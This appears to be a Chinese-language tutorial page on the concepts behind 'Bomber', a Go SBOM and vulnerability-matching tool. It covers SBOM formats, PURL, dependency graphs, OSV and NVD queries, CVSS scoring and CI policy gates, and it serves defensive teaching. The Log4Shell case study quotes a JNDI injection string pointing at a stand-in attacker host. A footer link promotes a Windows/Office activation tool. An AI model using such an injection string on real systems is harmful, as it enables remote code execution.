【免费下载链接】Cybersecurity-ProjectsBuilding 70 Projects ranging from beginner to advanced so anyone can — learn from, build upon, use as a reference, or even copy directly. Gamified Cybersecurity learning 项目地址https://gitcode.com/gh_mirrors/cy/Cybersecurity-Projects点击查看免费下载本技术指南围绕开源仓库 Cybersecurity-Projects 中的sbom-generator-vulnerability-matcher代号 Bomber项目系统讲解软件供应链安全、SBOM、PURL、依赖图、漏洞数据库、CVSS v3.1 评分与策略即代码等核心概念。读完本文你将掌握这些概念在 Go 语言实现中的真实落地方式能独立理解 Bomber 的扫描、生成、漏洞匹配与 CI/CD 门禁流程并可将这套知识迁移到任意依赖安全管理实践中。软件供应链安全Software Supply Chain Security它是什么你的应用程序大部分代码都不是你写的。一个典型的 Node.js 项目会拉入数百个传递性依赖一个只有两个直接依赖的 Go 项目可能解析出十几个间接依赖一个在pyproject.toml中声明了requests的 Python 项目背后还会带来urllib3、certifi、charset-normalizer和idna。供应链安全的核心问题是你是否清楚依赖树里到底有什么、其中哪些存在漏洞、以及能否信任从原作者到生产构建这条完整的信任链chain of custody。为什么重要现代软件的攻击面已经发生转移。直接攻击一个防御严密的应用程序很难但攻陷它的 300 个依赖之一——尤其是一个没人盯防的传递性依赖——就容易得多。数学站在攻击者一边如果你依赖 300 个包每个包在一年内有 0.1% 的概率被攻陷那么你引入被攻陷依赖的累计概率约为 26%。这并非假设——仅 2022 年npm 生态就出现了 700 个恶意包。在项目中如何落地Bomber 从三个层面解决供应链问题Layer 1: Visibility → 我有哪些依赖 bomber scan ./project (parser scanner 包) Layer 2: Documentation → 我能证明软件里有什么 bomber generate ./project (sbom 包, SPDX/CycloneDX 输出) Layer 3: Risk Assessment → 这些依赖中有哪些有漏洞 bomber vuln ./project (vuln 包, OSV/NVD 查询) bomber check ./project (policy 包, CI/CD 门禁)每一层对应代码库中的特定包可见性Visibilityinternal/parser/各生态解析器、internal/scanner/目录遍历器、internal/graph/graph.go图构建文档化Documentationinternal/sbom/SPDX 2.3 与 CycloneDX 1.5 生成器风险评估Risk Assessmentinternal/vuln/OSV/NVD 客户端、CVSS 计算器、缓存、internal/policy/engine.go策略引擎软件物料清单Software Bill of Materials, SBOM它是什么SBOM 是软件的机器可读清单记录每个组件的信息包名、版本、供应商、校验和、包间关系以及许可证信息。可以把它类比为软件的营养标签。这个概念在制造业存在了几十年物理产品的物料清单但在 2021 年 5 月的第 14028 号行政令Executive Order 14028之后才成为软件的正式要求——任何销售给美国联邦政府的软件都必须附带 SBOM。为什么重要没有 SBOM我们的软件用了 Log4j 吗这个问题需要在每一个服务中翻找构建文件、容器镜像和部署清单。有了 SBOM它只是一个grep或一次数据库查询。第 14028 号行政令直接源于 SolarWinds 攻击。该命令要求联邦软件采购提供机器可读格式的 SBOM。NTIA 发布了最低要素清单供应商名称、组件名称、版本、唯一标识符、依赖关系、作者和时间戳。Bomber 的 SPDX 与 CycloneDX 输出全部包含这些要素。两大主导格式SBOM 编码领域出现了两个标准Bomber 同时支持二者。SPDXSoftware Package Data Exchange——由 Linux 基金会最初开发、现为 ISO 标准ISO/IEC 5962:2021。SPDX 血统上偏向许可证合规对许可证表达式和文件级分析有强支持。Bomber 在internal/sbom/spdx.go中生成 SPDX 2.3 JSON。Bomber 生成的关键 SPDX 要素spdxVersion: SPDX-2.3与dataLicense: CC0-1.0必需的头部字段带 SHA-256 哈希的documentNamespace保证文档唯一性packages数组含SPDXID、名称、版本、下载位置、校验和、外部引用PURL类型为DESCRIBES文档到根节点与DEPENDS_ON父到子的relationshipsCycloneDX——OWASP 为安全场景量身打造的标准。CycloneDX 从设计之初就面向漏洞跟踪原生支持漏洞数据、服务和组合分析。Bomber 在internal/sbom/cyclonedx.go中生成 CycloneDX 1.5 JSON。Bomber 生成的关键 CycloneDX 要素bomFormat: CycloneDX与specVersion: 1.5用 UUID 标识文档身份的serialNumber含工具信息与时间戳的metadata含类型、名称、版本、PURL、bom-ref 和 hashes 的components数组将每个组件映射到其被依赖方的dependencies数组如何选择维度SPDXCycloneDX标准制定机构ISO、Linux 基金会OWASP首要关注点许可证合规安全分析政府采纳NTIA 最低要素所要求与 SPDX 并行支持漏洞支持通过外部引用原生漏洞字段JSON 结构更冗长更紧凑实践中许多组织两种都生成。Bomber 通过--sbom-format标志支持这一点。Package URLPURL它是什么PURL 是跨生态统一标识软件包的标准化方案遵循如下格式pkg:type/namespace/nameversion?qualifiers#subpath来自 Bomber 解析器的示例Gopkg:golang/github.com/spf13/cobrav1.10.2npmpkg:npm/express4.18.2npm 作用域包pkg:npm/%40angular/core17.0.0被百分号编码PyPIpkg:pypi/requests2.31.0为什么重要在 PURL 出现之前没有任何统一语法可以同时指代这个 Go 模块和这个 npm 包。漏洞数据库需要为每个生态提供独立接口SBOM 格式也需要为不同类型的包设计不同字段。PURL 用单一 URI 方案解决了这一问题OSV、NVD 等漏洞数据库可以直接接受。当 Bomber 在internal/vuln/osv.go中向 OSV 发送批量查询时发送的就是 PURL{ queries: [ {package: {purl: pkg:golang/golang.org/x/netv0.1.0}}, {package: {purl: pkg:npm/express4.18.2}} ] }Bomber 如何构造 PURL每个解析器从解析后的清单数据构建 PURLGointernal/parser/gomod.gofmt.Sprintf(pkg:golang/%s%s, name, version)——直接用 Go 模块路径作为 PURL 的 namespacename。源码中还通过goDepToPURL将go mod graph输出的moduleversion形式的边转换为 PURL 边并通过parseGoSum读取go.sum把 base64 编码的h1:哈希解码为 SHA-256 校验和写入包信息。Nodeinternal/parser/node.gofmt.Sprintf(pkg:npm/%s%s, encodePURLName(name), version)——作用域包org/pkg的被百分号编码为%40见encodePURLName函数同时从pnpm-lock.yaml的resolution.integrity字段提取 SHA-512 校验和。若没有 lockfile则回退到仅从package.json解析直接依赖并用cleanNodeVersion把^1.2.3、~1.2.3等版本约束规整为具体版本号。Pythoninternal/parser/python.gofmt.Sprintf(pkg:pypi/%s%s, normalizedName, pkg.Version)——名称按 PyPI 规范化规则转小写uv.lock中的source.virtual条目本地虚拟包会被跳过依赖边则通过包名映射构建。常见陷阱陷阱不做包名规范化PyPI 将Requests、requests和REQUESTS视为同一个包npm 对作用域包angular/core与非作用域包的对待方式不同。如果在构造 PURL 前不规范化就会产生缓存未命中和重复的漏洞匹配。Bomber 在internal/parser/python.go中通过将所有 Python 包名转小写来处理这个问题并在internal/parser/node.go中用encodePURLName函数对作用域包的前缀做百分号编码。依赖图Dependency Graphs它们是什么依赖图是有向图节点是包边代表依赖关系。根节点是你的项目直接依赖距离根节点一条边传递性依赖是其余所有节点。Your Project (depth 0) ├── express4.18.2 (depth 1, direct) │ ├── body-parser1.20.1 (depth 2, transitive) │ │ └── bytes3.1.2 (depth 3, transitive) │ └── accepts1.3.8 (depth 2, transitive) │ └── mime-types2.1.35 (depth 3, transitive) └── lodash4.17.20 (depth 1, direct)为什么深度重要2018 年的event-stream攻击之所以得逞是因为恶意代码被注入在深度 2event-stream依赖flatmap-stream而载荷就藏在后者中。大多数使用event-stream的开发者从未检查过flatmap-stream干了什么。Bomber 通过 BFS 遍历计算深度实现在internal/parser/gomod.go的computeDepthLevels函数中从根节点深度 0开始逐层扩展为每个节点写入DepthLevel。策略引擎在internal/policy/engine.go中可以用max_depth规则强制限制最大深度。如果依赖树超过你的阈值bomber check会以退出码 1 失败。环检测依赖图本不应有环但 lockfile 缺陷和各生态的怪癖可能制造出环。环A 依赖 BB 依赖 CC 依赖 A会让深度计算无法进行也会破坏所有朴素遍历图的工具。Bomber 在internal/graph/graph.go的DetectCycles中使用 DFS 检测环维护visited集合和在栈中集合当 DFS 遇到一个已经在当前栈中的节点时即判定为环并从路径中截取环的节点序列。internal/report/terminal.go的终端报告会在发现环时给出警告。漏洞数据库Vulnerability DatabasesOSVOpen Source VulnerabilitiesOSV 是 Google 的开源漏洞数据库是 Bomber 的主要数据源因为它支持批量查询每请求最多 1000 个包并能直接接受 PURL。Bomber 如何使用 OSVClient sends POST to https://api.osv.dev/v1/querybatch → Body: {queries: [{package: {purl: pkg:golang/...}}, ...]} ← Response: {results: [{vulns: [{id: GO-2023-2102, ...}]}, ...]}批量 API 非常高效一个 HTTP 请求即可覆盖整个依赖树。响应包含漏洞 ID、CVSS 严重性数据、受影响版本范围、修复版本以及指向 CVE 和 GHSA 标识符的交叉引用。在源码中internal/vuln/osv.go的OSVClient.Query按OSVBatchSize分批处理全部包每个批次 POST 到/v1/querybatch响应中的affected[0].ranges[0].events被解析为 引入版本, 修复版本格式的受影响范围extractFixVersion提取修复版本严重性优先取database_specific.severity否则对CVSS_V3类型的向量调用parseCVSSScore计算后映射为等级。OSV 覆盖Go、npm、PyPI、crates.io、Maven、NuGet、RubyGems 等并聚合各生态专属数据库的数据Go 漏洞数据库、GitHub Advisory Database、PyPI Advisory Database。NVDNational Vulnerability DatabaseNVD 是 NIST 的综合性漏洞数据库是 CVE 记录的权威来源并包含 OSV 有时缺失的 CVSS 评分数据。Bomber 如何使用 NVDNVD 不支持 PURL。Bomber 改在internal/vuln/nvd.go的buildCPEString中构造 CPECommon Platform Enumeration字符串pkg:golang/golang.org/x/netv0.1.0 → cpe:2.3:a:*:net:0.1.0:*:*:*:*:*:*:*NVD 查询是逐包进行的没有批量限流严格无 API key 时每 1.7 秒 1 次有 key 时每秒 5 次。Bomber 在internal/vuln/nvd.go的rateLimit中用互斥锁保护的计时器实现限流——每次请求前计算与上次请求的间隔不足则等待补齐WithNVDAPIKey选项会把rateDelay从NVDRateWithoutKey切换为NVDRateWithKey。去重当 OSV 和 NVD 对同一漏洞都返回结果时Bomber 用别名匹配去重。OSV 可能报告GO-2023-2102其 aliases 为[CVE-2023-44487, GHSA-qppj-fm5r-hxr3]而 NVD 可能直接报告CVE-2023-44487。internal/cli/vuln.go的deduplicateMatches函数会检查所有 ID 和别名保留 CVSS 分数更高或带有修复版本信息的那条记录。CVSS v3.1 评分它是什么通用漏洞评分系统CVSS是评估软件漏洞严重性的标准化方法。3.1 版本根据八项度量生成 0.0 到 10.0 的分数这些度量描述攻击如何运作、会造成什么损害。八项基础度量一个 CVSS v3.1 向量字符串编码全部八项度量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H │ │ │ │ │ │ │ └─ Availability: High │ │ │ │ │ │ └───── Integrity: None │ │ │ │ │ └───────── Confidentiality: None │ │ │ │ └───────────── Scope: Unchanged │ │ │ └────────────────── User Interaction: None │ │ └─────────────────────── Privileges Required: None │ └──────────────────────────── Attack Complexity: Low └───────────────────────────────── Attack Vector: Network这个向量描述的就是 CVE-2023-44487HTTP/2 Rapid Reset可网络触达、无需权限或用户交互、复杂度低造成拒绝服务高可用性影响但不泄露或篡改数据。得分7.5HIGH。Bomber 如何计算分数Bomber 在internal/vuln/cvss.go中实现了完整的 CVSS v3.1 基础分公式计算分三步第 1 步将向量解析为数值权重每个度量值映射到 CVSS 规范定义的权重。例如 Attack Vector 的 Network 映射 0.85、Physical 映射 0.20。Bomber 将这些权重存在查找表中avWeights、acWeights、prWeightsUnchanged、prWeightsChanged、uiWeights、ciaWeights。parseCVSSVector会校验CVSS:3前缀、按/切分向量、确认全部八项必填度量都存在且取值合法否则返回 nil对应分数 0。注意PR权限要求的权重随 Scope 变化Unchanged 时 L/H 为 0.62/0.27Changed 时为 0.68/0.50。第 2 步计算影响子分数ISS与可利用性ISS 1 - ((1 - C) * (1 - I) * (1 - A)) If Scope Unchanged: Impact 6.42 * ISS If Scope Changed: Impact 7.52 * (ISS - 0.029) - 3.25 * (ISS - 0.02)^15 Exploitability 8.22 * AV * AC * PR * UI源码中parseCVSSScore完全按照这一公式实现并在impact 0时提前返回 0。第 3 步合并并取整If Scope Unchanged: Score min(Impact Exploitability, 10) If Scope Changed: Score min(1.08 * (Impact Exploitability), 10) Final roundUp(Score) # CVSS 特有的向 1 位小数进位取整internal/vuln/cvss.go中的cvssRoundUp函数实现了 CVSS 规范规定的取整规则ceil(score * 10) / 10。为消除浮点误差代码先对分数乘以 100000 做一次math.Round再进位确保 7.4500... 之类的结果稳定落在 7.5。严重性分档分数映射到严重性标签分数区间严重性9.0 - 10.0CRITICAL7.0 - 8.9HIGH4.0 - 6.9MEDIUM0.1 - 3.9LOW0.0NONEBomber 在internal/vuln/osv.go的scoreToSeverity中使用这一分档策略引擎在internal/policy/engine.go中据此做比较。CPECommon Platform Enumeration它是什么CPE 是 NVD 使用的、更早期的软件产品命名方案。PURL 是生态感知的pkg:npm/express4.18.2而 CPE 使用通用格式cpe:2.3:a:vendor:product:version:*:*:*:*:*:*:*为什么它并不完美根本问题在于CPE 要求知道 NVD 记录中的厂商和产品名这并不总与包管理器叫的名字一致。golang.org/x/net在 Bomber 的 CPE 构建器中变成cpe:2.3:a:*:net:0.1.0:...——厂商用通配符、产品取路径最后一段。这是尽力而为的启发式方案。从internal/vuln/nvd.go的buildCPEString可以看到产品名取pkg.Name最后一段并转小写版本去掉v前缀空版本用*兜底。这正是为什么 OSV原生使用 PURL是 Bomber 的主要数据源NVD 只作补充。面向 CI/CD 的策略即代码Policy-as-Code它是什么策略即代码指把安全要求表达为机器可读的规则由自动化工具评估。Bomber 的策略引擎在internal/policy/engine.go中评估三类规则max_severity: medium # 任一漏洞超过此严重性则失败 max_depth: 5 # 依赖深度超过此值则失败 max_age_days: 365 # 任一漏洞年龄超过此天数则失败为什么重要人工漏洞评审无法规模化。一个五人团队不可能在每个 PR 上评估 200 条漏洞发现。策略即代码让你把可接受的风险水平定义一次然后自动执行。max_severity规则最常用。设置max_severity: medium意味着你接受中危漏洞但拒绝任何高危或严重漏洞。这是刻意的权衡阻断所有漏洞会让大多数 CI 管道崩溃因为传递性依赖经常携带低危发现。max_depth规则是 Bomber 独有的。它承认直接依赖深度 1中的漏洞是你的直接责任而深度 5 的漏洞可能不切实际、难以处理。设置深度上限会迫使团队保持依赖树浅平从而缩小供应链风险暴露面。从源码看引擎通过graph.MaxDepth取依赖图的最大深度与阈值比较违规时同样使bomber check失败。max_age_days规则强制执行修复窗口。如果某个漏洞公布超过 365 天仍未修复策略即失败。它抓的是攻击者最爱的已知多年从未打补丁那一类漏洞。源码中该规则用time.Now().AddDate(0, 0, -p.MaxAgeDays)计算截止日期凡Published早于截止日期的匹配项都记为违规并输出发布日期便于审计。这些概念如何关联Supply Chain Security ↓ 需要对依赖树具备可见性 ↓ Dependency Graphs (深度、环、传递链) ↓ 文档化为 ↓ SBOMs (SPDX 2.3, CycloneDX 1.5) ↓ 以 PURL 标识 ↓ PURLs (通用包寻址) ↓ 向漏洞数据库查询 ↓ Vulnerability Databases (OSV 走 PURL, NVD 走 CPE) ↓ 用 CVSS v3.1 评分 ↓ CVSS v3.1 (严重性量化) ↓ 由策略引擎强制执行 ↓ Policy Engine (CI/CD 门禁)行业标准与框架OWASP Top 10本项目直接对应A06:2021 - Vulnerable and Outdated Components易受攻击和过时的组件——Bomber 的整个存在目的识别依赖中的已知漏洞并围绕它们执行策略。MITRE ATTCK相关技术T1195.002 - 供应链攻陷软件供应链攻陷——Bomber 防御的威胁模型。通过生成 SBOM 并检查漏洞组织可以在部署前发现被攻陷或易受攻击的组件。CWE覆盖的常见弱点枚举CWE-1104 - 使用未维护的第三方组件——max_age_days策略规则可捕获那些明知有问题却长期未更新的组件漏洞。CWE-937 - 使用含已知漏洞的组件——bomber vuln与bomber check的核心功能。NIST SSDF安全软件开发框架PS.3.1——获取并维护安全良好的软件组件。Bomber 为该实践提供了验证层。PW.4.1——检查软件组件是否已知不含漏洞。与bomber vuln直接对应。真实世界案例案例 1Log4ShellCVE-2021-44228发生了什么2021 年 12 月Apache Log4j——近乎无处不在的 Java 日志库——被披露存在严重 RCE 漏洞。CVSS 10.0。攻击者通过发送构造字符串如${jndi:ldap://attacker.com/a}即可执行任意代码该字符串会被库尝试解析并触发远程代码加载。SBOM 为何重要Log4Shell 应急响应最难的部分不是打补丁而是找出 Log4j 在哪里。大型企业有数千个应用而 Log4j 通常是埋在二三层深处的传递性依赖。有 SBOM 的组织可以程序化查询其他所有人则在周末手动 grep JAR 文件。与本项目的关系Bomber 带DepthLevel追踪的依赖图无论 Log4j 藏在多深都能浮出水面。策略引擎的max_depth规则本可以在漏洞披露之前就把依赖树过深的项目标记为更高风险。案例 2colors 与 fakernpm2022 年 1 月发生了什么colors和faker两个 npm 包的维护者蓄意破坏推送了会打印乱码文本或进入死循环的版本。两个包都有数百万周下载量。由于它们是常见的传递性依赖破坏行为在 npm 生态中层层蔓延。SBOM 为何重要组织需要立即回答我们的服务里有没有依赖colors或faker。SBOM 查询让这件事变得微不足道否则团队必须在每个仓库里审计package-lock.json。与本项目的关系Bomber 生成的 SBOM 包含每个传递性依赖及其精确版本。Bomber 为任何受影响项目生成的 CycloneDX 或 SPDX 文档都会在组件列表中列出colors或faker实现即时分诊。案例 3ua-parser-jsnpm2021 年 10 月发生了什么攻击者攻陷了ua-parser-js维护者的 npm 账户发布了包含加密货币挖矿和窃取凭证恶意软件的 0.7.29、0.8.0 和 1.0.0 版本。该包有 800 万周下载量。为什么版本固定也不够即使在package.json中精确固定版本如果 lockfile 未被提交或恰好在攻陷窗口内发生全新安装你仍会拉到恶意版本。在构建时生成的 SBOM 会捕获实际解析到的精确版本留下可审计的实际使用记录。检验你的理解在进入架构部分之前请确认你能回答PURL 和 CPE 的区别是什么为什么 Bomber 两者都用如果一个漏洞的 CVSS 向量是CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H它的分数是多少、为什么Bomber 的策略引擎为什么包含max_depth规则它缓解了什么真实攻击当 Bomber 对同一漏洞同时拿到 OSV 和 NVD 结果时它如何决定保留哪一条深入阅读指引围绕这些概念本仓库还提供了分层文档体系可以按顺序阅读以构建完整认知项目总览与快速上手learn/00-OVERVIEW.md——Bomber 的完整定位、安装方式go install、install.sh、源码构建、bomber scan/generate/vuln/check四命令快速上手以及 Justfile 开发命令清单。系统架构learn/02-ARCHITECTURE.md——流水线架构与数据流。实现细节learn/03-IMPLEMENTATION.md——每个关键文件的代码走读。扩展挑战learn/04-CHALLENGES.md——新增生态、SARIF 输出、许可证合规、GitHub Actions 集成等延伸方向。若要在源码层面验证上述概念建议优先阅读这些文件CVSS 完整实现与单元测试internal/vuln/cvss.go与internal/vuln/cvss_test.goOSV 批量查询客户端internal/vuln/osv.goNVD 客户端、CPE 构建与限流internal/vuln/nvd.go图构建、环检测与合并internal/graph/graph.go策略评估引擎internal/policy/engine.go核心类型定义Package、Vulnerability、VulnReport、DepthLevelpkg/types/types.go将本概念文档与源码、测试用例对照阅读你会发现文档中的每一处描述都能在代码里找到精确对应的实现行——这正是从会用工具进阶到理解原理的关键路径。赞分享【免费下载链接】Cybersecurity-ProjectsBuilding 70 Projects ranging from beginner to advanced so anyone can — learn from, build upon, use as a reference, or even copy directly. Gamified Cybersecurity learning 项目地址https://gitcode.com/gh_mirrors/cy/Cybersecurity-Projects点击查看免费下载相关推荐GoReleaser v1.2 核心特性全解析artifacts.json、SBOM 生成与供应链安全实践GoReleaser v1.2 核心特性全解析artifacts.json、SBOM 生成与供应链安全实践 2021 年 12 月发布的 GoReleaser开发工具CI/CD构建工具Checkov核心概念解析从策略到基础设施即代码Checkov核心概念解析从策略到基础设施即代码 什么是Checkov Checkov是一款专注于基础设施即代码 IaC 安全扫描的开源工具它通过预定义的安应用安全静态分析供应链安全云原生MAS 激活工具使用教程3 步免费激活 Windows 与 OfficeMAS 激活工具使用教程3 步免费激活 Windows 与 Office Windows 激活水印、Office 授权弹窗开源的 MAS 激活工具可以免费解操作系统上一篇tsfresh.convenience 模块实战一站式相关特征提取与 Dask/PySpark 分布式特征计算下一篇基于 Jotai 的原子状态管理Sapling ReviewStack 状态架构与实战指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
阅读完成 · 觉得有帮助?